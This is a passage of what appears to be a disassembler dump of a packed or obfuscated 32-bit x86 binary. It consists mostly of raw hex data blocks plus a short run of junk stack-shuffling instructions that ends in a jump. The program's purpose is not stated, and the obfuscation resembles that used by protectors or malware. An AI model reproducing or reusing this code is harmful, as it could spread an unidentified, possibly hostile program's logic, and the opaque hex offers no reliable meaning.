0D4C96AB8h, 8BE0FF77h, 325E185h, 5B8D8D06h, 890609A5h dd 0C38B0141h, 0A5EA8D8Dh, 58510609h, 6800Fh, 9D890000h dd 6032C21h, 20A58D89h, 0C7F50603h, 31A6585h, 612006h dd 0F1B50300h, 0C706031Bh, 3007185h, 6, 3CBB6600h, 69B5FFC8h dd 6A06030Ch, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1A042444h, 45000000h, 53BDC355h, 27EEB391h, 0FA8B6683h dd 171D95FFh, 85890603h, 603033Dh, 95FF006Ah, 60323A5h dd 38EBC08Bh, 9C808EBh, 5FBEF60Dh, 604AB7Ch, 39AA88E4h dd 0B9E47D0Ah, 7A8B22Dh, 0B5F0F4D8h, 2D3F8968h, 7580E0E8h dd 6365829Fh, 9F69EA3h, 5BAE0413h, 828B35FFh, 2B44AD19h dd 10E8h, 5D6B2A00h, 0F248A4AFh, 0B50A61DDh, 303F767Ah dd 6820FDDh, 89000000h, 32A15BDh, 0BF0F5806h, 0F6C081D8h dd 0E900005Eh, 0Fh, 6A789A83h, 0B2F5DA11h, 3104AC40h, 0BA6A7FA1h dd 6F82C03h, 146BEA81h, 0D98106F8h, 26E8CAA3h, 0CA8B30FFh dd 5DBD895Fh, 81060319h, 0B0BBAFEFh, 6890F74h, 8B000000h dd 30F218Dh, 0F0C78106h, 6611E216h, 813C29BEh, 0C2F26F7h dd 0DB80577Bh, 8957595Eh, 31C518Dh, 0BE008F06h, 46A61E49h dd 8304E883h, 850F01EAh, 0FFFFFFB4h, 0EBF7B70Fh, 8, 18824100h dd 504E95Eh, 0D680000h, 0E90609A8h, 0FFF9D741h, 9A87268h dd 0D737E906h, 0C968FFF9h, 0E90609A9h, 0FFF9D72Dh, 8BF7C049h dd 0AA16E76Dh, 0C733048Ch, 0EA561FA9h, 0A7647CCh, 0B63BFF4Bh dd 0D05B79E5h, 0F17D9B07h, 179EBC28h, 29D5DA46h, 18E3105Eh dd 60D2E0D0h, 0E30D632Eh, 0D8E5D018h, 0D15615E0h, 0DCE50100h dd 0E8CBE8Fh, 31B40DC8h, 0BA1FD783h, 0BF901767h, 0C7CDC5C0h dd 0C9FB6F40h, 9BA6CC97h, 414ED611h, 119B3E34h, 0B1A9B6D6h dd 3FD9448Fh, 0BB7B00CBh, 0EEFBDC14h, 0BA303AEFh, 0D95ED012h dd 89110908h, 4C0BB9B8h, 5870AC4Fh, 0A3F0F7Fh, 18158EB7h dd 3A32418Ah, 0E0ABDD5Ah, 0D0129892h, 7B055562h, 0C0B8B3B2h dd 2E585h, 0E0677500h, 324C170Fh, 0A6A8AF29h, 0DCD4F6D3h dd 0D04DFE93h, 0E09D448h, 28DC1479h, 0F438E523h, 0D72A8625h dd 0E64E5A63h, 9F8468C9h, 8D6EC1A7h, 0DED575E5h, 9A65D9A7h dd 0DF7CFC71h, 0D1EDECF9h, 6E6D3EC3h, 0DD487B73h, 3BC1CF43h dd 7D48726Ah, 0D57FC953h, 4C5ACEDBh, 6A88F4C5h, 0C826F1E3h dd 0A8D97FB5h, 67F1489Bh, 7CD824D2h, 331747Bh, 0DA630000h dd 187A511h, 1EA6C430h, 39C3E14Dh, 61E60470h, 19652490h dd 93FFD055h, 0B521EA75h, 0D6420B97h, 0F46031B8h, 7A7843EFh dd 0FAD018EDh, 0FC29D9ECh, 18A2B024h, 0E210DB4Fh, 92D61145h dd 98638D85h, 0DC1AEC66h, 4F5DD1DEh, 6F8DF9CAh, 651A19EAh dd 0D018E204h, 0D9300188h, 0CEBF8945h, 0CC666D6Eh, 0C8000002h dd 0EC0A763Fh, 0B299566h, 2846B283h, 4B69D59Eh, 0CA89F5C6h dd 6435BA7Eh, 864FDAF8h, 0A770FC1Ah, 0C5961D3Bh, 0DDA85459h dd 0D018ED97h, 293E515Fh, 0D2A027FCh, 29287B4Ch, 9C67DB2Eh dd 0DC1AEC6Ah, 21D6D5E2h, 0D018E2D7h, 0A772A46Ch, 0D018E249h dd 49241C29h, 4035BE4Ch, 0AF005A30h, 4F000001h, 7A01CF56h dd 0C38EAAA9h, 0D61145ADh, 92E53845h, 43149B93h, 6B3CC1CFh dd 9F065173h, 8DC28D01h, 25DC144Ah, 0A641918h, 0AFD01240h dd 8A53D9E7h, 0AEEDC322h, 5A52A56Eh, 0A8B6827Fh, 14DF531Ch dd 0D01229DEh, 0A5918996h, 5A3A8B2Eh, 44E5h, 0FC293400h dd 0C2E5B024h, 1EDC1468h, 0BDBC8510h, 111ECAC2h, 66135D12h dd 0E0A8D012h, 0CC877ED7h, 322C7740h, 66413989h, 48F9D69h dd 49413C3Bh, 3AB0965Dh, 0B17CAE5Ah, 0D0121A43h, 0F32E2633h dd 0C0h, 0FECF5642h, 678D588Ah, 0FD61145h, 39550A02h, 0E0D8A12Bh dd 858455DAh, 0C135068Dh, 510FB9B8h, 39B2FDC6h, 91463E33h dd 0CD411299h, 6D6C35BFh, 7D587A72h, 0D611B15Dh, 0BB27F87Fh dd 0F76B3570h, 929162E9h, 0AA759F97h, 0DC17F81Ch, 0C5D34754h dd 0E5036F40h, 9A388F60h, 0D7CEBC95h, 175CFD6h, 961F0000h dd 0BD4361CDh, 0DA6280ECh, 0F57F9D09h, 1DA2C02Ch, 0D521E04Ch dd 4FBB8C11h, 71DDA631h, 92FEC753h, 0B01CED74h, 3E34FFABh dd 0B6D018ECh, 3295A8h, 11453F35h, 0B2AAB7D6h, 0EA5627ACh dd 177C45CCh, 0AA73FF31h, 39E8DE5Fh, 886972E6h, 0FBA28706h dd 277B7944h, 0EEFBD611h, 9E81A39Bh, 0FFFECF56h, 5D74DAE3h dd 0F14B6EE3h, 9B6CF3F9h, 4AE4ED2Fh, 0F61BD9E0h, 5EC7FAF2h dd 0F0834EC2h, 6ADC140Ah, 85B7E95Dh, 12A0B4BAh, 0A6323CD0h dd 8C928ADDh, 0B4C23607h, 66616029h, 7714C6Eh, 95D012A0h dd 0B3D13D0Eh, 0E0E95D2Eh, 0E3C72A58h, 792E263Bh, 0BE72h dd 24327500h, 0D5D0CF98h, 0A873AADDh, 56515021h, 2B5D8F03h dd 11451260h, 0DDD5E2D6h, 1AECEC1Ah, 585764DCh, 1CE7D960h dd 0D018E2D6h, 410A949Eh, 0A1F44742h, 0C2901735h, 1B1A6D36h dd 0F002F6FFh, 815F8A0Dh, 0DA2C420Dh, 0B7C4D018h, 0ECF1FCBFh dd 0E03B282Bh, 0E3B43BE3h, 0ED7616Fh, 80B2F416h dd 0B88BFB5h, 0B62A3788h, 0B8885EBh, 68606D88h, 0B0ADB62h dd 0C1C08913h, 737243C9h, 2726EF7Bh, 822D2A09h, 88302D0Ch dd 82C43001h, 0EABB4250h, 0B8897DDh, 0E25A5F88h, 727B6DB6h dd 0F3549FF2h, 46824022h, 48B9189h, 102D3433h, 0D1000000h dd 409ED49Fh, 4956880Bh, 0ABA374F9h, 563D54E0h, 0D0504CDh dd 0BEB6B586h, 726A6932h, 271F1EE7h, 0DAD2D1A2h, 8D858455h dd 433B3A03h, 0F3EBEABBh, 6F9D9C6Dh, 81E38953h, 4C3h, 4EB8300h dd 5C241C87h, 56243C89h, 0C681E689h, 4, 4EE81h, 34870000h dd 2C895C24h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebx push 609A6F3h pop ebp push esp mov ebx, [esp] add esp, 4 push edx push 8 pop edx add edx, ebx mov [edx], ebp pop edx push dword ptr [esp] pop ebx add esp, 4 push dword ptr [esp] pop ebp add esp, 4 jmp loc_4F2EAD ; --------------------------------------------------------------------------- db 0BBh dd 0B2AE3DBFh, 66DA2ABh, 63B832F3h, 30609ABh, 20E0FFC5h dd 0F17A02A4h, 5F0DC768h, 9717D33h, 3A638BFFh, 7B30CE8Eh dd 270A12DCh, 86669AEDh, 9B3555C8h, 7C60E990h, 47574456h dd 4571AF6Ah, 0D92321EBh, 0B1682B31h, 0AD18BA95h, 0AC21AA01h dd 430A0F8Ch, 0CC19E7FEh, 0AC5F01EEh, 0F05249B1h, 7D5DAA4Dh dd 0C2543B74h, 72062A52h, 900BA14Dh, 8D7D25DFh, 9ACE78Dh dd 0C3BF6606h, 0A58D8985h, 6A060320h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 73B8C353h dd 0C7D9E7EEh, 31A6585h, 5D3006h, 0C7D98A00h, 3007185h dd 6, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1604h, 0C3524200h, 0FFDD598Bh, 31AB1B5h, 0A9958906h dd 0FF060320h, 3171D95h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1A04h, 0C3574700h, 1515BDD2h, 31BE3C3Dh dd 3058DBDh, 0FF006A06h, 323A595h, 0EBC08B06h, 0FC1C2F2Ah dd 0EC19221h, 3556540Ch, 8F23D82Ch, 68CB9446h, 0A04F9C4Fh dd 0AB2471B9h, 0ED89762Ch, 0A9FC644Ch, 338349EFh, 0E8D0C452h dd 0Ah, 0CAF06344h, 89898A24h, 0AE9440Eh, 71000000h, 33ACFDF8h dd 0A4D7FD45h, 85095AB0h, 6033051h, 6615C281h, 0C3800000h dd 0B9F6h, 8BF90000h, 0EE80A3Ch, 8000000h, 1361A4B6h, 89EDB43Ch dd 94247C8Ah, 6880F81h, 8B000000h, 326A9B5h, 0F7815E06h dd 507F7B40h, 30D59D8Bh, 0EF810603h, 0C5A59A0h, 9980F781h dd 0FE93FFFh, 0A8000000h, 1D106B7Fh, 3916199Dh, 32CB76AEh dd 8057A198h, 48FE8C3h, 0E1BE660Ah, 5DB86696h, 0A8E9812Ah dd 0E84A24E8h, 0Fh, 0D6E64FB2h, 8DC10376h, 0C20AFC6Fh dd 8B2129C9h, 0C18158F0h, 4A24E8A4h, 6800Fh, 85890000h dd 6031CDDh, 9AECF981h, 850FFFFFh, 18h, 0ED7BE881h, 32E92F3Dh dd 49000000h, 58B62436h, 7EF89CCAh, 0E38BB472h, 68E0Fh dd 0E0810000h, 6FC0B2A2h, 0FFFF3EE9h, 0F0CB7CFFh, 5730D942h dd 5C1F8633h, 91299994h, 97B60D49h, 0EE88Eh, 15BC0000h dd 0FE74EFDEh, 0B2F629A4h, 33346BC3h, 0C18159FCh, 7211h dd 10E9h, 59175E00h, 4F09FA41h, 702715B7h, 508A35FCh, 1C48BA8Dh dd 0AE80000h, 73000000h, 0E1F08075h, 30CF2EF1h, 6810F4Dh dd 8B000000h, 322B9B5h, 31FF5806h, 0C1BD895Bh, 81060302h dd 0A047C5F3h, 5BD8B1Dh, 8106030Dh, 37F79FC3h, 21852B52h dd 8106031Bh, 1164D2C3h, 0BD8B533Dh, 60315D9h, 0BD8B018Fh dd 6032439h, 0F5D2E981h, 10E8457Fh, 42000000h, 0D464E492h dd 93F3BD38h, 32C79564h, 94DEBDCh, 3134DB5h, 0C1815E06h dd 457FF5CEh, 81FABF0Fh, 1EAh, 19850F00h, 0F5000000h, 36E9h dd 93C07D00h, 3584CEA3h, 4BD64502h, 2BFB300Dh, 8B8D2507h dd 6E8h, 687BD500h, 0FC86B4DFh, 0FF68E95Eh, 5C1AFFFFh dd 3FAFFE01h, 81BC95F3h, 3A239568h, 0E801547Dh, 0Fh, 64B21132h dd 788360CAh, 6A767FDDh, 801FBA2Fh, 0F5ED4EEh, 0D84h, 8E900h dd 0BB920000h, 0C60194A4h, 0C6814955h, 756Ah, 6840Fh, 0E2810000h dd 3763A1E3h, 0E44D4B8h, 0CBF08107h, 80070E59h, 36FF15E9h dd 0EE9h, 6EDE3200h, 699259F6h, 3DF62A3Ch, 5F33DA9Fh, 989BD09h dd 0F7810603h, 65E5607Dh, 1ABD9D8Bh, 0C7810603h, 28C89606h dd 11E9h, 0F95D6500h, 7FE724ADh, 0CAD34110h, 12624605h dd 0EF816595h, 71EC0883h, 68A0Fh, 95890000h, 60308F9h dd 0F2813E89h, 64F3092Bh, 0E803EE83h, 0Dh, 608BC312h, 8490737Ah dd 3F18E287h, 898D8962h, 5A060329h, 2820F4Eh, 0B6000000h dd 850F4884h, 12h, 16E58589h, 17E90603h, 0D1000000h, 83871B05h dd 958B9111h, 60304C5h, 0FFFF59E9h, 109C62FFh, 0C08B0BA4h dd 4E5BD83h, 75000603h, 39BD8309h, 60323h, 53501974h, 21B8C08Bh dd 89000004h, 31A9D85h, 0BF9D8D06h, 0FF0605B5h, 83585BD3h dd 32339BDh, 17740006h, 21B85350h, 89000004h, 31A9D85h dd 0AE9D8D06h, 0FF0605B2h, 8B585BD3h, 3D9D8BC0h, 0C6060313h dd 31BA185h, 52685606h, 0FF9CA8B8h, 32471B5h, 58858D06h dd 0FF06067Ch, 68046AD0h, 1000h, 8F1B5FFh, 6A0603h, 0C085D0FFh dd 0D850Fh, 0B80000h, 8D000000h, 371E38Dh, 8BE1FF06h, 3C38BC8h dd 0F8053C40h, 8B000000h, 0D3030C50h, 0F9DBD83h, 0F000603h dd 0E84h, 9D9D8B00h, 8B06030Fh, 30C1985h, 51038906h, 0B2858D52h dd 0FF060341h, 8BFA8BD0h, 8BD18BF1h, 0C6A4F3C8h, 31BA185h dd 39685606h, 0FFD41F6Dh, 32471B5h, 58858D06h, 0FF06067Ch dd 800068D0h, 6A0000h, 8BD0FF52h, 0E5BD83C0h, 60304h, 0BD830975h dd 6032339h, 50197400h, 0B8C08B53h, 421h, 7398589h, 9D8D0603h dd 605B626h, 585BD3FFh, 2339BD83h, 74000603h, 0B8535017h dd 421h, 7398589h, 9D8D0603h, 605B2C7h, 585BD3FFh, 9D8DC08Bh dd 6030F9Dh, 0C00B038Bh, 7840Fh, 38B0000h, 89045B8Bh, 4B41B818h dd 12E80000h, 1F000000h, 128186CDh, 8423932h, 0B3CE9839h dd 99055F9Dh, 5E918h, 0FA3F0000h, 5BDF3467h, 4CC381F5h dd 0B200006Bh, 1AAF68F5h, 0CE800000h, 81665FCDh, 0FF756AE9h dd 8B665833h, 0EAE881F1h, 8155E530h, 8566D1F0h, 0AEE6814Bh dd 814CDD74h, 90A1ADE8h, 389F970h, 0BE9h, 0B907AF00h, 0EDF738BEh dd 2D25E73Ah, 0E902EB83h, 14h, 6478445Ch, 0C409E118h, 3BFBA081h dd 0F4FC21FEh, 0B34C82C4h, 8B664B4Bh, 1EF83F7h, 0FFA5850Fh dd 6656FFFFh, 0E959F18Bh, 3Bh, 0B5BD8B60h, 8306032Ah, 0C93304EFh dd 20BBC18Bh, 83EDB883h, 8BE04C7h, 0D1000000h, 23D21BE8h dd 4EC233D3h, 0FFF1850Fh, 8941FFFFh, 0F98107h, 0F000001h dd 0FFFFD382h, 8BC361FFh, 2AE9C8h, 4C70000h, 24h, 0E800h dd 815D0000h, 9B261EDh, 24448B06h, 0E5858904h, 0B8060306h dd 0 dd 4D698D8Dh, 0E1FF0603h, 6754B8h, 16EB00h, 4 dup(0) dd 1000000h, 3EC01h, 6A060900h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1C042444h, 45000000h, 4923C355h, 68B2ED3Fh dd 50BBECACh, 0AE8h, 0BFD47900h, 7CA0AC1Ch, 0B9372C1Ah dd 255525D8h, 2404895Bh, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Ah, 0CDC35747h, 12E31071h, 6A6DCCh, 410BA66h dd 6A006Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h dd 55450000h, 0BD29B4C3h, 6032E85h, 8DCF8B66h, 9B40185h dd 0DAC28106h, 907C7D17h, 71C896BFh, 0E960504Ah, 11h, 726D567Ch dd 500EDD41h, 1F90B481h, 0E53226E6h, 63B96684h, 6A90612Eh dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1C042444h dd 47000000h, 7664C357h, 425A55F1h, 50A412ABh, 0BD895BF9h dd 603189Dh, 8950006Ah, 309A585h, 6A5B06h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 38C35343h, 1779C69Dh dd 13298589h, 95FF0603h, 6031DF9h, 1461BD8Bh, 860F0603h dd 6, 24ED8501h, 9E90603h, 6A000006h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 6BCFC352h dd 9DB2B1C0h, 13359529h, 0E80603h, 5D000000h, 0B406ED81h dd 958B0609h, 6030985h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Bh, 7EC35242h, 1E9CF0A5h, 0F12D7EBh, 38Bh dd 0FE8B6600h, 6880E980h, 0C878DD17h, 596DB350h, 89240481h dd 6A378732h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1A042444h, 43000000h, 97AAC353h, 9864F812h, 11E913h dd 0EECF0000h, 2C3D054Bh, 3C01AA20h, 9D614602h, 0E82DDBF5h dd 7, 276FFEC1h, 0BAC541CAh, 0F0F2139h, 0A595FF59h, 6A060323h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 15042444h dd 47000000h, 986AC357h, 0B286B58Dh, 6A0609h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 140424h, 55450000h, 0DD8A50C3h dd 655206C7h, 13E86D67h, 6000000h, 5B1DAE6Eh, 0ED597BC4h dd 65903A1Ch, 24F3A009h, 0C75A9A9Dh, 6E6F0446h, 6A6C63h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h dd 0EFEEABC3h, 13E9h, 318BB200h, 3FA4349Eh, 9BF0FA9Eh dd 339E9636h, 28DD631Fh, 610846C7h, 6A007373h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 14042444h, 42000000h dd 0F5EC352h, 686h, 3D958900h, 89060319h, 30CF9BDh, 0E9006A06h dd 0Dh, 7D0A39AAh, 0B22DB9E4h, 0F4D807A8h, 86858DF0h, 6A0609B2h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 15042444h dd 46000000h, 41BCC356h, 2EC1BD31h, 0F900603h, 58Eh, 2AF6BA00h dd 0E9506338h, 13h, 89F9F152h, 0FAA4E1Eh, 0AA2D61B6h, 0F05199ECh dd 900CD5A8h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 19h, 0CAC35141h, 4BB03B65h, 0CEBF0FD7h, 96B2D88Ah, 66595FFh dd 0EF810603h, 0C4D4A3Dh, 840FC00Bh, 53h, 0E851006Ah, 3 dd 59C35920h, 4244C89h, 4244481h, 1Bh, 3AC35141h, 0B95100C5h dd 81022A90h, 0DC060FF2h, 379E938h, 6A0000h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 11CCF6C3h dd 0A69A49C4h, 68F8D5ECh, 0EE3D1270h, 0E78EB950h, 8159778Dh dd 0EEBC2404h, 95FF11C2h, 60323A5h, 0F2A8EA81h, 0B58D57F5h dd 609B286h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Dh, 0CAC35141h, 2EB20379h, 8496AC0Ah, 958BF53Dh, 6032531h dd 383106C7h, 13E93634h, 57000000h, 9E1C7181h, 8068E639h dd 49FE932Dh, 0A5F4AB8Ch, 46C7474Eh, 342D3704h, 57006A31h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h dd 80FC12CEh, 46C752C7h, 8, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1504h, 0C3534300h, 6A10E6h, 8D8ACB80h dd 9B28685h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1D04h, 0C3554500h, 5AA43191h, 0C721CB5Bh, 5350E9DEh dd 9E9h, 939FCC00h, 0BAB06490h, 895A8E3Ah, 6A2404h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h dd 0D68CDEC3h, 55084E8Ch, 88D9533h, 0F600603h, 687h, 4DB58900h dd 0F8060309h, 6595FF61h, 6A060306h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 6531C352h dd 0E9047710h, 0Eh, 0A301BB45h, 0CE85EB34h, 2386FF56h dd 0C00B0F9Dh, 1E840Fh, 8D030000h, 60326A5h, 1D2E9h, 0EE900h dd 6BC10000h, 0D8679E22h, 0E03A0CD4h, 8EF2ABE2h, 0D6549A68h dd 0E85250CCh, 5, 26E09EC5h, 820F84h, 59000000h, 0E960310Fh dd 12h, 0B5E6FCEBh, 0BA4E2E8Eh, 76508D28h, 28D94AD5h, 5A61FCA2h dd 24048158h, 3329AC92h, 95FFCA8Bh, 60323A5h, 12E9h, 0A1C69500h dd 91DEBF06h, 0C7EDB290h, 5D16051Ah, 8DEF93ACh, 9B286B5h dd 0ABBF6606h, 4606C7A3h, 8B656C69h, 32581BDh, 446C706h dd 636E6F6Dh, 17840Fh, 12E90000h, 0C9000000h, 460C40D2h dd 0F8B604DBh, 0D83EC648h, 58A0A8F5h, 846C704h, 7373616Ch dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 15h, 0D2C35242h dd 0F19D8968h, 0BB060318h, 24E13AF0h, 0C46C7h, 6A000000h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 17042444h dd 42000000h, 0E9DFC352h, 18B96051h, 6A479BE7h, 57006A00h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1B04h, 0C3574700h dd 0D339A5B1h, 0A3C76CE2h, 265D9D89h, 858D0603h, 609B286h dd 8E8h, 7DDBE500h, 8374E24Bh, 0C9EF81ACh, 593386D5h, 2FA18D01h dd 8A900603h, 525050CFh, 310FDA8Ah, 5ACA8B66h, 9D8B9058h dd 60302D9h, 66595FFh, 0EE80603h, 0E3000000h, 0F59743A5h dd 944B4F6Dh, 290A6DBEh, 998D89ACh, 5906031Fh, 840FC00Bh dd 2Eh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah dd 0DAC35747h, 132B47F2h, 67B9F92Eh, 0E976489Eh, 1Bh, 5BE9CF8Bh dd 89FFFFFAh, 30EADB5h, 0B5096006h, 6030F11h, 8C5958Bh dd 8D610603h, 371E3B5h, 0B842B706h, 0 dd 2D9D8B60h, 0F8060324h, 6E961h, 0FF1A0000h, 0A70CCFBAh dd 0B509E6FFh, 60304FDh, 8E8C18Bh, 9E000000h, 0E8F1D336h dd 8B2629B4h, 300A1B5h, 0B8665F06h, 0C7811EDFh, 600Dh dd 12840Fh, 6E80000h, 2D000000h, 7AE3388Ah, 0B5858994h dd 5E06032Dh, 17D768h, 0C8816600h, 665B1BF2h, 0F8BF18Bh dd 88E1D281h, 0E9810480h, 5D418991h, 0C18165B2h, 3F6891DDh dd 0CE28166h, 5EE98101h, 294FCFEEh, 30E4595h, 8B0F8906h dd 31A2595h, 4EF8306h, 38F0Fh, 8B660000h, 1EB81F1h, 0F000000h dd 1185h, 0E5958B00h, 0E9060325h, 24h, 0D2B097Eh, 0B58B6F10h dd 6031A19h, 0FFFF9DE9h, 0EEB546FFh, 0A5FC8091h, 523CB1C6h dd 2D8C4B47h, 4473EEE7h, 0BB718D8Dh, 6A0609h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 140424h, 55450000h, 0E6814BC3h dd 68740F54h, 20A58D89h, 6A0603h, 3E850h, 58200000h, 448958C3h dd 44810424h, 180424h, 50400000h, 56C488C3h, 0F60A0E5h dd 285h, 81FB8B00h, 1C1388C1h, 85C76147h, 6031A65h, 7504h dd 18599523h, 85C70603h, 6030071h, 0 dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 2EC35545h dd 0D4059A4h, 13607AC7h, 0EA9B5FFh, 0BF0F0603h, 1D95FFFAh dd 6A060317h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 18042444h, 47000000h, 2356C357h, 6AE5C42Dh, 0A595FF00h dd 8B060323h, 625AEBC0h, 4826CC7Dh, 0CAA12254h, 8BB10F3Bh dd 23C1412Eh, 0B23EE046h, 4142C89Bh, 0C2D53E0Dh, 0E991C95Ah dd 0DED5A203h, 1F4CAE2Fh, 0BFBDCCC2h, 9804750Fh, 0D07FA7B3h dd 0EBBDE01Bh, 0C9FB1E6Ch, 5E581A90h, 9CF28166h, 526BD180h dd 616EE34Ch, 3A5ADD35h, 0E137422Eh, 45466EAEh, 0CDCAFE52h dd 0A2A804CFh, 88A4047h, 0ABA804CCh, 0E075EAD5h, 0A8A804CCh dd 0BA8A4044h, 557AE5Dh, 0D08A4045h, 0ABA804CDh, 9B75EAD5h dd 4BA804CDh, 258A405Ah, 0F5A804D2h, 9F8A405Ah, 0ABA804D2h dd 2575EAD5h, 0E853D42Fh, 0C0031323h, 52A1EA70h, 0F8E390A7h dd 0D12157ABh, 4383AEFCh, 0E968D42Fh, 0C0031323h, 52A1EA78h dd 0FB9290A7h, 0D12157ABh, 4383AEC8h, 0EAC7D42Fh, 0C0031323h dd 52A1EA44h, 0FB4E90A7h, 0D12157ABh, 4383AEC4h, 0EBA0D42Fh dd 0C0031323h, 52A1EA50h, 0FADB90A7h, 0D12157ABh, 4383AED0h dd 0EB3AD42Fh, 0C0031323h, 52A1EA5Ch, 0FA5990A7h, 0D12157ABh dd 4383A928h, 94BCD42Fh, 0C0031323h, 52A1EDA4h, 85C790A7h dd 0D12157ABh, 4383A920h, 5012B8C3h, 0CEDF152Ah, 0A86CD24Eh dd 458AFD4Ah, 0D5F251A2h, 4C36A0C0h, 0A8ED96A4h, 458A152Ah dd 67A02429h, 0BAB496E3h, 54A1D5ADh, 0C6CB152Ah, 0BA415564h dd 0CE75EAD5h, 113AAE63h, 848C160Bh, 11AB5342h, 55FFEA22h dd 0ABA4245Dh, 0B9CF9C3Ah, 0A8EDDAC3h, 4586D7E3h, 0D744DAF7h dd 0CEEAE9EEh, 292359D7h, 0B9CFD226h, 54A851A2h, 4162AD6Ch dd 660351A2h, 0EE27BFEAh, 971DDB2Fh, 94751323h, 0D9020112h dd 4C49A0A0h, 0EC79AEA4h, 41AE51A1h, 0E122DC09h, 0BA8C1CE9h dd 0DF103773h, 0C821732Ah, 5D6BE428h, 0FD5BEA2Ch, 508C152Bh dd 0F0009881h, 0ABAE5861h, 0EFD2A5FBh, 0DDA42C89h, 0CEEBE957h dd 9661ADE7h, 0CEDF1522h, 0A86CD24Eh, 458AFD4Ah, 0D5F251A2h dd 4C3760C0h, 5CDDDAA4h, 828668A1h, 54A8ADE7h, 0BACC152Ah dd 57BEF030h, 0CE529E2Ch, 9783FC69h, 0EFE2A5B9h, 0D9F9FA31h dd 4C49A0A0h, 0D79AEA4h, 2320949Ah, 328C551Ah, 6E218481h dd 29215DDFh, 174D6h, 5C6A985Eh, 0A901402Ah, 34549521h dd 458A15C2h, 0BE290BA2h, 4383A8E6h, 0DFA02429h, 4D1957h dd 54A8515Eh, 0D775532Ah, 52AB4703h, 0CE19CDA1h, 979BFC69h dd 0EFE2A5B9h, 0D9F9FA31h, 4C49A0A0h, 0D79AEA4h, 2320949Ah dd 328C651Ah, 6E218481h, 29215DDFh, 174D6h, 5C6A985Eh dd 0A901402Ah, 34549521h, 0CE8260A1h, 116F5DDFh, 458A15D6h dd 953BFDA2h, 97B91DC9h, 0DE049191h, 454A38F2h, 0A82851A2h dd 5E0E1AD5h, 0EDA851A2h, 458A1523h, 862DA055h, 45869025h dd 0A32851A2h, 8E4B7332h, 972337AAh, 38A1BE4Ch, 0A8D5D8AEh dd 0B9CF9E4Bh, 54A0936Bh, 0C6669E7Fh, 0DFC8AD66h, 38011D5Fh dd 0A8ED96AEh, 458A152Ah, 0B769C20Eh, 76582622h, 8C22FD62h dd 458AD507h, 0AB54D1A2h, 45939125h, 5D1151A2h, 0B28A152Ah dd 5B7AD453h, 458A1FAFh, 5610E0A2h, 0EF4B93E2h, 7F039191h dd 38031957h, 1123305Eh, 4D48DCD6h, 0B82304A2h, 2576D1A9h dd 0DFA02429h, 4D1957h, 54A8515Eh, 9D00B92Ah, 0D4A7B222h dd 860085E1h, 0E122DC08h, 0BA8C1CE9h, 0FEF8E173h, 863F9FA7h dd 855757ABh, 6E20D6A0h, 29215DDFh, 174D6h, 5C6A985Eh dd 0A901402Ah, 34549521h, 0CE8260A1h, 116F5DDFh, 458A15D6h dd 54AFE9A2h, 0D775152Ah, 52AB70E7h, 0C8204526h, 5D6BE428h dd 0F55BEA2Ch, 949BFB2Bh, 2E853186h, 50AC5962h, 0EFAEA580h dd 0DDA42C89h, 0CEEBE957h, 9661ADE7h, 0CEDF1522h, 0A86CD24Eh dd 4DFF9E4Ah, 93A42C29h, 458AE96Fh, 0FE0451A2h, 532B87D5h dd 8C2357A1h, 0EF491786h, 971DDB2Fh, 94751323h, 0BD28E9C4h dd 8600BE4Ch, 58D57A08h, 247668A3h, 9D541429h, 108A1DE8h dd 902BBD29h, 300175D6h, 58D5DAAAh, 457650EDh, 0F8A851A2h dd 0E418EA80h, 0DFAE52B4h, 8558B9E2h, 0E132DC08h, 0BA8C1CE9h dd 94103771h, 0CF2173E3h, 2983FB63h, 0B9F79C26h, 0A8EDDAC3h dd 4582D7E3h, 0D744DAF7h, 0CEEAE9EEh, 292359D7h, 0B9CFD226h dd 54A851A2h, 0D775BF86h, 52AB4703h, 7726DDA1h, 0CE25FB63h dd 4383D69Fh, 0ECCE825Dh, 0EEECE4AAh, 7F029028h, 38031957h dd 1123305Eh, 4D48DCD6h, 0B82304A2h, 2576D1A9h, 0DFA02429h dd 4D1957h, 54A8515Eh, 7732732Ah, 0D903376Bh, 4C49A0B0h dd 327BAEA4h, 234B9592h, 0FE04FD09h, 0CC866801h, 0DFC9ADDFh dd 8743E96Fh, 0DFFD51AAh, 0B94E96C6h, 5CDDDAC2h, 828668A1h dd 54A8ADE7h, 0FDEC152Ah, 